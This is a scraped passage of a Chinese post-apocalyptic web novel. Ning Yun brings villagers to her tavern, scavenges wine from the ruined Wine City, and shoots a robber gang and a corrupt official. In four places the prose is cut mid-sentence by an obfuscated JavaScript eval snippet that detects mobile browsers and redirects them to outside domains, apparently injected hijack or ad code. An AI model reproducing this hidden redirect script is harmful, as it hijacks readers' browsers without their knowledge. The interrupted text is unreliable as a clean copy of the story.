听到宁筠这么说,仇远这才将头望向外面。几个全然不同的三轮车跟在身后,上面大大小小的包裹,足以证明发生了什么。 仇远的眼眶当即就红了。 “酒城还是没救回来吗?”他突然想起什么似的,“那我的小姨……” 不在了。几乎是下一秒,他就得出了这个结论。 “宣献死了吗?” 宁筠的声音被风吹得有些模糊,“死了,被你小姨亲手杀死的。” 仇远“哦”了一声,对着车内的铁皮发呆,众人不知道酒城发生了什么,都沉默地骑着车。 酒馆距离酒城不算远,经过了几天几夜的赶路,此时的众人勉强能看到一个黏土建成的简陋城墙。 酒馆到了。 别墅区依旧是那个别墅区,只是比宁筠离开那会儿,稍稍多了些许人味。 这种人味宁筠说不清楚,只是觉得没有死气沉沉的气息,像是焕发了什么生机一般。 明明酒馆的牌匾没有变化,别墅群也没有任何人入住的模样,但宁筠就觉得这里住了很多人。 大概是看惯了酒城末日的样子,连无人区都眉清目秀了起来。 她卸了车,携着一众村民进了酒馆,也没见到什么人,就先将村民们安顿在酒馆内,独自出了门。 在路过后山时,找到了在埋着什么东西的齐荦荦。 齐荦荦所在的地方,人味更重了。 宁筠站在后面嗅了半天,才意识到她闻到的人味是什么。 就是人的味道。 简单来说,是人死去,散发出一股猎物的味道。 这个认知让宁筠微微发愣,直到听到齐荦荦疑惑地,夹杂着惊喜的声音。 “宁筠,你回来了?!” 齐荦荦惊喜的声音一顿,目光望向宁筠的身后,十分熟练地掏出一把枪,厉声道:“你们是谁?” 身后的村民们立马举起了手,有人问:“这里不是宁筠的家吗?我们跟着宁筠回来的。” 有人指向宁筠,畏畏缩缩地退后了一步,齐荦荦将视线落在宁筠身上,只见宁筠淡定地点了下头。 “找到酒保了。” 宁筠偏头犹豫了几秒,将酒城的一切全盘托出,听得齐荦荦连连震惊。 “酒城不是基地之外的第二个大城吗,连他们都沦陷了……” 齐荦荦若有所思,庆幸地笑了笑,“还好跑到你这里了,要是当时去了酒城,可能就回不来了。” 宁筠还要说些什么,就听到齐荦荦就转移了话题,说起了自己在酒馆发生过的事情。 “在你走后,又来了几趟列车的人……” 在宁筠离开的这几天,齐荦荦也没有闲着,先是遇到了堪称猎人第一的沈枫,紧接着又遇到了下列车探索的几波人。 无一例外是购买了老板分发的地图,顺着地图找到了偏僻的酒馆,打算占为己有。 在与这帮人的斗争中,齐荦荦也成长了不少。为了能让宁筠的成果不被人抢走,她壮起胆子驱赶所有的外来者。 好在宁筠安然无恙地赶了回来。 宁筠摩挲着下巴说:“这个问题要解决掉。” “要不把他们都打跑?来一个打一个,这样别人就不敢来了。” 齐荦荦扬了扬手中的枪,做了个凶狠的手势。 也不知道这几天把齐荦荦摧残成什么样,连带着成了一副杀戮果断的模样。 宁筠摇了下头,说:“杀不完的,要是能让他们意识到这里有人,就好了。” 她看着刚过来一脸茫然的村民,还有各处空缺的别墅,心中有了一个想法。 第二天,那面简陋的城墙上挂了一个由石头雕刻的两个大字——酒馆。 下面写了一行小字:欢迎各位光临。 其中有个村民犹豫地问:“这样能行吗?” “没什么问题啊。”仇远显然自己写的字很满意,“挺大的,一眼就能看到。” “但还有个问题,虽说是酒馆,酒呢?” 酒…… 酒馆最后的酒,似乎都随着酒精爆炸灭光了。 也就是说,酒馆现在一瓶酒都没有。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15023297|159806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仇远睁大了眼睛:“没酒让我当酒保,你们这是巧妇……夫难为无酒之坎!” 宁筠叹息了一声,当时在酒城顺来几个酒好了。她捏了几下手腕,暗骂自己的不勤快。 全世界仅有酒城的酒资源最为丰富,其他地方的酒基本都由酒城提供,因此酒城倒也称得上富裕。 想来应该有很多酒就此消失,然后会成为历史上的一张图片,被有缘人感叹、惋惜。 这些都不是宁筠所关心的,她痛心疾首地想了想,自己似乎错过了一次发财的机会——这些珍惜的酒,一定会成为富豪们珍贵的收藏品。 说不定能还清基地的债。 仇远见宁筠一脸为难,安慰她说:“其实有很多酒我也会做,至少要有材料吧?” 酿酒的材料无非是粮食、水果和糖。 粮食不难找,她带回来的村民个顶个的种地好手,也带回来了不少种子,倒是水果难找。 末世中,山上能找到的食物基本都被找光了,本着能活一天是一天的人们,自然也不会顾忌什么,想来应该有很多品种恶劣的环境中退化,直至灭绝。 没了水果,能做出来的酒自然少了一半,仇远瞅了瞅她,分外不情愿地说:“就这些也能做……吧。” 语气勉强的,仿佛是委屈了他一般。 看着仇远一脸嫌弃的表情,宁筠又说:“如果我说……至少要等到半年才能做呢?” “哈??” 宁筠解释道:“种子从土地长到成熟,小麦需要230天,玉米需要80天,水稻需要……” 带回来的村民们也带来了不少种子,他们看中了那片平原,一大早就收拾收拾开垦荒地,一边垦一边说着“再不种就没法种了”。 宁筠玩过基建游戏,也仅限于玩过。 众所周知。基建游戏里的稻田都是一年四季开工的,玩家们只负责种,而现实的农民们就要考虑很多了。 比如什么时候入冬,种子什么时候最快发芽,最合适生长的天气…… “从头开始?你怎么不从种子……”仇远刹了车,即时改口,“你知不知道酿酒需要多久?短则三个月,长则数年,你这酒馆什么时候才能开张?!” 宁筠不懂酿酒,脸上露出了几分迷茫。 “那你的意思是……” “去其他地方进货吧。”仇远手托着腮,“虽然陈叔他们在种地了,但……” 种地也是要讲究土质和技巧的,陈叔是小晓的父亲,作为能贡献出一万斤粮食的农民,自然不缺技巧,现在就剩下土质了。 自称陈叔的农民走了过来,扛着一个锄头,对宁筠说:“平原土质不错,能种。” 宁筠松了口气,至少还有一个好消息。 不过酒城已经被灭了,还有哪里能去进货呢…… 仇远“啧”了一声,“我舅那里存货特别多,就那个别墅,你去找找没准就能找到一堆。” 真是个孝顺的外甥,没问过舅舅死没死,倒是先惦记上了仇景澄的酒。 宁筠问:“你不担心仇景澄吗?” 说起来,在酒庄时,宁筠只记得仇景澄帮他们解开手铐,至于后来他去了哪里,倒是一概不知了。 孝顺的外甥摆了下手,一脸不在乎:“他能活我吃。” 33. 第二次入城 显然对他舅舅有很大的意见。 宁筠没敢多问,顺着仇远的意见,收拾了一番就前往酒城。 酒城还残留着末日的余晖,仅仅过了几天,光鲜亮丽的赛博朋克风格消失了,只留下被摧残过的,一片废墟般的模样。 想来当时饥饿的伪人们,为了能找到人类,应该将城市掘地三尺了。 宁筠从第一次的城门口进入,现在没有人会阻止她开三轮车进来,也没有熙熙攘攘人群。 一切都显得荒芜,只剩下了三轮车锁链晃动的声音。 骑了片刻,宁筠将目光放在了一个被砸得弯折的牌匾上。 果木酒吧。 阴差阳错的,她掀开了那副牌匾,露出了黑黝黝的,一眼看不到底的洞口。 原来是一段较长的走廊,现在成了通往废墟的入口。 宁筠迈了进去。 室内酒气冲天,果木香混合着麦芽的香气,直冲宁筠的鼻子。 她打了个喷嚏,恹恹地想着——一定打碎了不少酒瓶,这可真是令人痛心疾首。 酒吧的内部没有了灯光的供应,漆黑到只剩下物品的轮廓,她尽力找地方下脚,仍然不免碰到地上一些玻璃片。 走着走着,宁筠发现除了脚下的碎片,似乎还有一种奇怪的嗤嗤声,由远及近,此时几乎只距离宁筠半个身位之外。 嗤嗤声还在继续,且有继续靠近宁筠的意图,宁筠偏头倾听了一会儿,紧接着无声地松下了一口气。 是在嗅闻宁筠气息的伪人。 有些伪人喜欢潜藏在阴暗的环境,给落入陷阱的人致命一击,好在宁筠不是人。 伪人只是靠近嗅了嗅,又毫不留情地离开了,宁筠显然已经习惯了,继续翻找着。 好在还有几瓶保存完整的酒,宁筠没看是什么种类,一股脑地扔在了三轮车上,为了防止酒瓶因颠簸摔碎,还找了床被子包裹住,然后骑着小车扬长而去。 一路走一路找,期间遇到探索者们不少,一个刚刚覆灭的城市,显然有着极为风生的资源,大多都想着来喝第一口汤。 探索者,顾名思义,是在末日中收集资源的人类,因不足通过猎人的考核,又有一定的实力,故而得称探索者。 本着不冲突的原则,宁筠凭着在酒馆发现的嗅觉,绕远路躲了过去。 直到仇景澄家旁的那条街上。 据陈叔所说,他们每年会有一定的集中时间进行“上供”。 所谓上供,就是将自家多余的粮食供给到城内,与额外多交的一万斤粮食不同,上供是无条件收取的,酒城的保护费。 酒城会定期维护周边的村落,保证粮食的顺利产出,所谓的“保护费”自然要交。 有些贪官会扣留部分“保护费”,打造自己在末世中的安全屋。 仇景澄的家在富人区内,显然已经有富人做了万全的准备。 “喂,你个小偷,别跑!” 宁筠的身旁匆匆走过一个奇怪的少年,驾驶着类似的三轮车,里面打包着好几袋的大米白面,显然是出自这些安全屋。 后面的人追不上他,于是将怒火发泄到宁筠身上。 “一看你就是和他们一伙的!你这些东西从哪里拿来的?” 宁筠回头看了一眼,确认那人在指着自己,于是笑了一声:“反正不是从你那里拿的。” “呵,都是小偷。” 那人挺着硕大的肚子,狭小的眼睛里淬满了毒,恶狠狠地瞪着宁筠:“反正你在偷我们酒城的资产,都给我还回来!” 宁筠不紧不慢地掏出了枪,“怎么就是你的了?” 那人哆嗦地看了一眼,挥挥手招呼了保镖,继续逞强道:“酒城是我一手建设的,里面大大小小的物资都是我的!” 居然还是个高官。 “那你认识宣献吗?”宁筠问。 那人没想到是这么个问法,愣了一下,很快反应过来,宁筠可能是酒城的人,甚至可能是酒城内部的人,态度顿时好了起来。 他说:“认识,他是我好哥们,既然你认识他,那我……” “砰”的一声,那人扭着肥胖的身躯,人头落了地。 周围的保镖大概没反应过来,看着自家金主的死亡,都不知所措。 宁筠扬了下下巴,“里面的物资你们平分,我不会插手。” 如果酒城能少一点这种腐败的人,仇兰月或许不用死在攻城的那天晚上。 骑到一半,其中一个保镖叫住了宁筠,他扛着一袋大米,对着宁筠说:“正好多了一袋,送给你。” 见宁筠愣在原地,他挠挠头解释道:“我们知道他干的肮脏事,但你知道的,只有他这里……” 宁筠“嗯”了一声,道了声谢,对保镖的解释未说什么,仅仅是点了下头,表示自己知道了。 虽说不应在极端情况下考虑人性,但宁筠还是未免先入为主的,对保镖有了些恶感。 拥有这种想法的富人很多,一眼望去,这里的别墅群保存最为完好,隐约可见底下的金属安全屋,但出了刚刚那一档子事,显然没有第二个傻子来阻止宁筠的前进。 宁筠也没兴趣搜刮这些人的物资。 她只需要酒。 直到马路的尽头,仇景澄的别墅映入宁筠眼帘,有了富人们的保护,别墅的外表看上去完好无损,只是不知道其中会不会有仇景澄的身影。 宁筠踏过了大门,一路走到了房间内部。 屋子内没什么人气,至少宁筠没有闻到人类的气味,她顺着仇远给的地址,一路摸到房间的最内部。 那里有个旋转式的按钮,据孝顺的仇远所说,他舅舅最好的酒都藏在这里。 除此之外,这位大孝子又叹息了一声,说是从未看到小姨的酒柜,不然宁筠还可以顺路跑到城主府看看。 听得宁筠眉头直跳。 像是特意等着宁筠一般,这道暗门没有什么奇怪的密码,反倒是轻轻一推,就露出了里面堪称繁华的酒窖。 这里拥有着酒城还未覆灭之前,就已经堪称稀有的酒水,码在一层又一层的酒柜之中,似乎是为了保存,旁边还放上了许多制冷的仪器。 宁筠一进门就感受到了刺骨的寒冷。 她裹紧了自己的衣服,哆哆嗦嗦地迈着步子,在酒窖中当个小仓鼠,辛辛苦苦地搬运着酒水。 不愧是城主的弟弟,存货就是丰富。 搬到了一半,她望着那些制冷的仪器,思考着要不要把它关闭掉。 太冷了,手指冻得僵硬,有点影响她搬东西。 制冷仪器后面连着一根电线,通向墙壁的一个圆孔,无数根拧成麻绳的电线就顺着圆孔,不知道通往哪里去了。 她看了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15028763|159806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又看,突然间想到一件事,酒城瘫痪了,供电设施应该早就停止了供电,那这些制冷设备又是从哪里供电的? 想到了这里,宁筠忙碌的身影一顿,抬头向着四周望去。 果不其然,一个细小的,隐藏于同色之中的摄像头,就在制冷仪器的上方,被氤氲的冷气缠绕,显得模糊不清。 好在摄像头是实时跟踪,宁筠稍稍动了一下,这些摄像头就跟着宁筠转,到显得明显了许多。 宁筠停顿了一下,默默地开了口:“能听到我说话吗?” 有些摄像头不仅带着监视功能,还拥有窃听的功能。 摄像头又转了一下,里面多出了一个人声。 “能。”他闷闷地说,“你搬得这么快乐,我没好意思打扰你。” 宁筠:“……” “谁告诉你这里有个酒窖的。” “仇远。” 那头显然更加沉默了,片刻后冷笑了一声:“这个大孝子,还行,好歹还找了借口关心我的死活。” 宁筠没好意思说,仇远就没担心他活过这件事。 “仇远现在怎么样?” “挺好的,情绪很稳定。” 仇景澄松了口气,“那就好,这孩子有点死心眼,我怕他想不开。” 说完后,就听到门外传来几声开门声,随后暗室的门被打开,仇景澄的身影就出现在了这里。 刚进门,他就打了个喷嚏,匆忙跑出门外,又裹了几件衣服才回来。 “怎么这么冷,怪不得你把自己捂得严严实实的。”他又打了个喷嚏,伸手搬着酒水,“我来帮你搬。” “那你呢?” 仇景澄笑着说:“我又用不到这些酒,既然你要,就都送给你了。” 这些酒宁筠都叫不出名字,光看瓶子,就能看出其中的奢华气息,更何况还有这样大价钱的制冷仪器,这些酒水的价值只多不少。 而现在就这样轻易地送给了自己。 她抬起头,认真看着仇景澄的脸。下巴上满是胡茬,眼窝呈现出没睡好青色,头发乱糟糟的,和当时精致的人沾不上一点关系。 “你不跟我走吗?”宁筠问。 仇景澄又冲着宁筠继续笑了一下,这次倒像是有点无奈般的自嘲。 “算了吧,我的两个姐姐都……”他停顿了一下,说,“我更想把酒城收回来。” “这么大的过错,我想承担下去。” 他故作轻松地说:“我已经跟着一个猎人学了挺久的,有个特别厉害的师傅,叫怀文雪,有时间我介绍给你认识。” 怀文雪,宁筠想到了在酒馆一别的猎人。 也不知道是不是重名。 既然仇景澄不想走,宁筠也就不打算胁迫他,临走前,她扛起车里唯一的一袋大米,送给了对方。 “就当是谢礼了。” 仇景澄一个没忍住,说:“谁家谢礼这么寒酸?至少也要珊瑚羊脂玉之类的……” 说归说,他接下大米的手可是一点都没慢下来。 宁筠腾下了一块地方,又把酒瓶往里塞了几下,直到一辆车都满满当当,才满意地与仇景澄挥手道别。 “希望下次看到你时,酒城已经收入囊中了。” “一定。” 携着夕阳,宁筠驾驶着满载的小车,晃晃悠悠地离开了酒城。 34. 打劫 冰冷的风吹过旷野,无数草地微微低伏,露出了稍有生锈的铁轨。 这是酒城与基地互通的列车轨道,还能看到不远处未来得及开动的列车。 直到一声鸣笛。 随着暖流的风吹拂而过,掀起了三轮车上包裹的被子,宁筠抓紧骑着车后退,在远离了轨道几米开外后,一阵强劲的气流裹着鸣笛声冲上宁筠的身体。 她下意识捂住了耳朵,眯起眼睛。 火车在她面前缓缓停下,无数乌泱泱的人头就被推着下了车。于是她看到了许多年轻的面孔,也有着相似的惊慌与恐惧,只是与第一次不同的是,宁筠敏锐地感觉到了些许不同。 一种非人类生物混迹于人群中的感觉。 与此同时,人群的末端出现了一抹一晃而过的蔚蓝色,宁筠心下一惊,下意识向着草丛中躲避。 草丛外窸窸窣窣地传来什么声音,像是脚步声混合着铁链,有人在此地驻足,交谈着什么。 “博士为什么要放生他们?” “听说是什么标记重捕法……” 紧接着是解开锁链的声音,那人继续说:“总之最近要多抓点,你们……” 几个人渐行渐远,声音逐渐隐没在旷野之中。 宁筠听了个囫囵,见没有人发现自己,于是趁着夜色,急匆匆地蹬着自己的三轮车。 装满了酒水的三轮车格外的沉,她边骑边想着,有朝一日,她一定要换一个自动挡的车。 夜色过了半,繁星没过云端,旷野就笼罩在黑暗之中。旷野不是单纯的旷野,而是稀稀拉拉地建了几栋小房子,更像是末世前的牧场。 其中一个房子里,有几个人在大声密谋。 众人听说酒城被破,脑袋一热,连夜商量吃上第一口汤,结果快到了,才发现一件恐怖的事——他们没有任何的武器,进城也只是被抢的份。 于是机智的老赵想出了一个办法,那就是蹲守在城外,等一个倒霉的软柿子,把他们的货物抢夺过来。 来之前众人已经商量好了,他们不贪,只要抢到能活过一个月的物资就撤离。 此时的老赵示意众人看向门外,“就一个人,三轮车里满满当当,绝对有好东西。” 月光下,一个年轻女性骑着三轮车,骑的速度不快,盖着被子的车厢随着路面颠簸,一看里面堆满了的货。 其中一个扬了扬手中的锄头,说:“她手上有枪呢,我们最多有几个锄头。” “一个小娃子拿到枪能怎么样,大城市的娃子又没咱野外经验丰富。”老赵淬了一口,说:“你把睡觉水拿来,到时候把她的枪也抢过来。” 其他几人听话照办。 眼见骑着三轮的宁筠距离房子越来越近,老赵的心思就越来越急迫,一双淬了毒的眼睛死死盯着,像是黑暗中的毒蛇。 直到宁筠路过房子时,几个人将手中的药水向空中喷洒,然后捂住口鼻,耐心地等待着。 老赵在心里默默数着。 1,2,3…… 直至过了半分钟,门外什么声音都没有,有个人实在是憋不住了,探出个头大声呼吸,下一秒,他似乎想要回头说着什么,结果扑通一声倒在了地上。 说明药效不仅没问题,还好到过头了。 老赵眉头一跳,待到药物散去,连忙扶着倒地的兄弟,再抬头一看,宁筠骑着车渐行渐远,几乎要看不到人影。 怎么回事? “要不,我们再蹲一个吧。”有人犹犹豫豫地说。 这句话让争强好胜的老赵激出了逆反心理,“蹲什么蹲,就她了!你见过哪个柿子能像她这么有性价比?” 没人说话。 片刻后,老赵带着一帮人走到一处必经点,将将安置完,就看到宁筠的三轮车出现在众人视野内。 他拿出一点粉末状的东西,向空气中略微挥洒,那粉末就散开,在四周形成了浓密的雾。 别看老赵手上没枪,但该有个小物件是一点都不少。 随后众人掏出了锄头,对着烟雾就是一顿猛挥。 没过多久,突然有个人大喊:“挥到了!挥到了!” 众人听到了这句话,立马转过了头,不管三七二十一,对着那人的方向一顿砸。 直到粉末造成的烟雾散得一干二净,老赵顿了一下锄头,这才发现他们砸错了人。 刚刚不幸睡过去的倒霉蛋,又被人砸出了几个窟窿,此时正汩汩地冒着血,止都止不住。 那人尴尬地咳嗽了一声,说:“他不是睡着了吗?怎么过来的。” 能回答的人正睡着觉,短时间内是醒不来了。 “快止血。”老赵大喊,“一会儿人死了!” 众人手忙脚乱地翻着医疗物品。 说起来也奇怪,老赵是看着宁筠走在这个路线的,封烟的时机也很稳,刚好赶在宁筠进入范围的那一刻,怎么会看不到人? 他四周瞄了又瞄,终于又看到了宁筠。 三轮车不知何时远离了烟雾,停在了一旁,宁筠正低着头翻着被褥,连个余光也没往这边瞥一眼。 不像是看到了这边,老赵松了口气,不耐烦地回头:“没人你们不知道吗?” 谁知道宁筠不按常理出牌,好好的路线不走,非要靠在一边停车。 没人敢吱声,直到手臂上挂着一个十字架徽章的人,包扎好倒霉蛋身上最后一处伤口,才站起身开口说:“我有个办法,但需要几个人一起。” “你说。” 那人在老赵的耳边说了什么,听得老赵连连点头。 “行,就按照你的办法来。” 此时的宁筠正修着车厢,对刚刚的一切都觉得莫名其妙。 刚城门不久时,空气中传来一股极怪的味道,像是薄荷,又像是洋甘菊味道,引得宁筠有些昏昏欲睡。 好在伪人并不需要睡觉,宁筠也只是打了个哈欠,三轮车晃了一下,车厢里就传来叮叮当当的声音。 酒瓶是易碎品,即使是宁筠也要小心对待,她拍了拍脸,打起精神,趁着月色前行。 没过了多久,周围似乎又有些不大对劲。 四周的草丛在不规律地晃动,宁筠骑着车,稍稍分神没看脚下的路,酒瓶发出了剧烈的声响,她下意识刹车,找了个平坦的地方,查看她的宝贝酒水。 好在没有任何的破裂,被子内也没有酒液洒下的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15031695|159806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 痕迹,让宁筠放下了心。 只是前面吵吵闹闹的,吵得宁筠耳朵有些疼。 她抬起头,与老赵几个人对上了视线。 紧接着,老赵对她释放了一个堪称善意的微笑,仿佛刚刚什么都没发生。 “娃子,你怎么一个人在这里啊?”老赵笑得一脸褶子,连连招呼宁筠。 有些奇怪。宁筠不动神色,摩挲着右手的手腕。 “你们是谁?” 老赵热情地拉着宁筠,说:“我是老赵,我们刚从前面回来,听说那边有人打劫,抢来的货物要卖到基地去嘞!” 见宁筠没说话,老赵继续说:“看你孤身寡人一个,要不我们凑个伴,我们安全把你送到基地,只收你一点保镖费,怎么样?” 如果不收取这个费用,就显得老赵太过可疑,收取了这个费用,就会让人认为这些人贪图基地,在这其中谋取一点好处费罢了。 要知道,护送物资可以有短暂的基地通行证,能在基地停留三天,基地作为末世中最安全的地方,不亚于获得了三天生命。 这是末世之中,众人心照不宣的“暗号”。 但宁筠一听基地就打怵,头摇得跟拨浪鼓似的。 “我不去基地。” 老赵愣了一下,问:“那你这车是要去哪?” “去距离基地1500公里远的酒馆。” 老赵没听说过这里有什么酒馆,野外出名的几个自建庇护所,无外乎是几个大佬们相互联手建立,勉强为探索者们提供一点庇护罢了。 难不成是新生的庇护所? “那你这车里是……酒?” 不用等老赵确认,车轮磕碰到路面上的石子,车厢内部就传来叮叮当当的声音。 好吧,不用问了。 一听到是酒,老赵的心思又活络起来。 比如酒城被灭,大部分的酒就变成了稀有货,又比如这人口中的庇护所,听起来像是急缺货源的模样,如果能得到酒馆主人的赏识…… 直到旁边的人拍了老赵一下,老赵如梦初醒一般,对着旁边的人点了下头。 “哎呀,我肚子好疼。”有人突兀地捂着肚子,弯下了腰。 这就是宁筠选择独行的原因,有人就影响宁筠搬运东西的速度,四舍五入就是影响宁筠开酒馆的速度。 老赵一脸歉意,“抱歉,我的人……” “那你们去吧。”宁筠毫不在意。 那人见宁筠许可,就跑到了房子的背后,其中几个人同样以相同的借口离开。 霎时间,队伍里少了不少人。 谁知道老赵刚使了个眼色,回头就看到宁筠跟没事人一样继续往前走。 “唉,等等,你干嘛去?” 宁筠很奇怪地回头,说:“你的人上厕所,管我什么事?” 老赵一脸头痛,而刚刚上厕所的人又迅速回来,傻乎乎地笑着说:“我不疼了,不疼了,咱们继续走吧。” 给老赵气的直咳嗽。 既然宁筠没有留下的意思,老赵也不装了,直接说:“反正你不许走!” 霎时,周围的人亮出了各自的锄头、铲子,横在宁筠的身侧。 35. 没打过 就在几分钟之前,胳膊上绑着十字架徽章的人说:“小姑娘最好对付了,一般这样的小姑娘,同情心很重。” 他将视线瞥在宁筠身上,继续说:“这意味着如果我们能提出合理的条件,她绝对会抹不开面子答应,然后我们再装作身体抱恙,在那边的房子休息一会儿,她一定能答应。” 老赵看了他一眼,没说话。 那人又作出一副凶狠的动作,将手掌横在脖颈下,划了一刀。 “到时候我们在房子四周按下网,还怕她有枪不成?” 听得老赵连连点头,“行,就按照你的办法来。” 如果老赵再聪明一点的话,他就能知道,敢在末世一个人出门,又能收获这么多物资的,能是什么好对付的? 只见宁筠几乎是瞬间从背后掏出一把枪来,上了膛,对着几个人扫射过去。 老赵这伙人这辈子没见过枪,只知道枪更加适合远程攻击,但不知道枪在五步之内又快有准。 如果他们知道的话,绝对会第一时间抢夺这把枪,但他们没有,他们只是看着宁筠掏出枪,然后拉开了保险栓,最后眼睁睁地看着同伴倒在了地上。 老赵瞳孔一缩,来不及为同伴们默哀,一张巨大的网状结构从天而降,将几个人笼罩在铁丝之中。 其中一个人跳出来,狞笑着说:“看你这次往哪逃!” 老赵:“……” 一群猪队友。 见识了枪支的威力,老赵只想逃跑,但这只从天而降的网将剩余的罩住,铁丝减缓了他们逃跑的速度,将他们牢牢暴露枪的射程之内。 几乎是没几秒,困在铁丝里的人都被灭了个一干二净,只留下了老赵一个人。 处于包围圈外的人也意识到了不对,拿着锄头就要冲向宁筠,可惜半路被铁丝网绊了个趔趄,手上的武器就这么脱手,然后被反应过来的宁筠消灭。 眼看着没剩下几个人,老赵连忙阻止:“我们不是故意要抢你的。” 下一秒,宁筠冰冷的视线就望了过来,冰得老赵直哆嗦。 其实算不上冰冷,宁筠一向很好说话,只要你提出解释的机会,宁筠一定会指着你的脑门,然后安静地听你解释。 当然,这个过程可能会导致部分人的脑补,而宁筠的本意只是想真诚地聊一聊。 显然老赵也想歪了,他战战兢兢地开口:“我们其实是一个村的村民。” 在末世中,能活下来的村子都有一点“真本事”,这不代表村子就一定富裕。 相反,老赵所在的村子十分贫穷,世代依靠打猎为生。 他们所说的“打猎”,是指在四周寻找误入村落的人,然后搜刮他们身上所有值钱的物资,确保村落的稳定。 因为村落的稳定,就总有“人”携带着物资投奔村子。 伪人或者人都在他们眼中都算做人,有些伪人比人类要更有钱,因为这些伪人不懂得物资的价值,总会傻乎乎地将物资或者钱币携带在身上,然后被村里的人“捡”走。 这样的生存方式在前期十分有用,但到了后期,有人建立了基地,有人建立了城池,像他们这种稳定的村落就有些不够看了。 最后到了他的手中,富饶的村子变成了即将消失的危村,于是老赵想了个办法,带着还算健壮的一家老少,浩浩荡荡地出门闯荡。 恰逢路过了某个列车站口,他们从一个倒霉蛋手中打听到了消息——第二大城市酒城,前段时间被伪人入侵,直接灭城了。 大城市的物资绝对要比小村落多,即使能吃到一口汤渣,也能让村子富裕不少年。 老赵动了心思,带着一群人浩浩荡荡地冲向了酒城,结果半路发现有这个想法的人不止他们。 相比于他们,人家的小队实力更强,各个佩戴着枪支,甚至开着装货的半挂,简直是来进货的。 老赵就把心思放在了打劫路过的散人。 没想到直接踢了个硬茬子。 宁筠扬了一下手,枪支就从他的脑袋移到了心脏。 “那你现在后悔吗?” 老赵咽着口水,点了下头:“我现在特别后悔,我们知错了。” “像我们这样的村落只多不少,有些人比我的手段还要阴狠,如果我在的话,可以保护你……” 话音未落,只听到“砰”的一声,大片的鲜血涌出,老赵在没有反应过来的时候,宁筠就已经动了手。 看来这样的村子还有很多。宁筠皱着眉想,回到酒馆时,应该好好“留意”一下他们。 就在这时,身后似乎有什么人赶了过来。 “前面的,发生什么事了?” 后面的车缓慢停下,有人摇下了车窗,探出头来。 即使看不到下半身,那一身的军服也是十分显眼,与酒城城门口的守卫类似,但又不是同一件衣服。 据孝顺的仇远所说,酒城除了驻守城市的守卫,还有四周巡逻的巡逻兵。 这些士兵负责驻守在酒城200公里左右,分成了四批,以酒城为中心形成一个巡逻圈。 宁筠遇到的就是其中一批巡逻兵。 “我们在四周看到了不少死亡的伪人,想必这些也是吧?你做得不错。”士兵向她敬了一个礼,态度十分真诚。 还未死透的老赵张了张口,发出嘶哑微弱的声音:“我们……不是……”然后立即被宁筠补了一脚,彻底断了气。 “是的。”宁筠收起了枪,开始胡叭叭,“听说酒城被伪人们攻破了,我就赶了过来,没想到……” 说着说着,宁筠低下了头,肩膀微微耸动,不知道的还以为宁筠有多悲伤。 实际上她只是单纯的一撒谎,就憋不住笑的体质。 “那酒城现在……”士兵停顿了一下,又关上了车门,说:“谢谢你告诉我这些,我们要回去支援,没准还能赶得上。” 其实是赶不上了,宁筠看着他们真诚的神色,想来是忠于酒城的,于是她叫住了对方。 “你们进城后,可以去富人区那边找仇景澄。”宁筠说。 士兵显然听到了宁筠的建议,认真地点了下头,然后关上了车窗,对着相反的方向疾驰而去。 “我想回去看看我的家。”坐在副驾驶的士兵对另一个人说。 驾驶位的士兵抿着唇说:“你没听到她说去找仇大少爷吗?” “什么意思?” “说明……”士兵变得哽咽起来,“说明城主,不,大家可能已经……” 坐在副驾驶的士兵瞳孔一缩,下意识地看向宁筠的位置,看着宁筠骑上了三轮车,背对着他们离开。 “所以,我们巡逻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15036960|159806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时看到的死人,不一定都是伪人干的……” 与士兵们告别之后,剩下的路程十分顺利,直到进了酒馆,宁筠才有一种恍如隔世的感觉。 酒馆太和谐了,有些人正勤恳地耕着地,还有部分闲散的村民们钓着鱼,一旁的仇远大少爷也跟着凑上了热闹,一群人就聚在湖畔旁边,有说有笑地玩耍着。 与在酒城的人们成了反比。 有人看到了宁筠,距离很远时就对着她挥了挥手,大声喊着:“您回来了。” 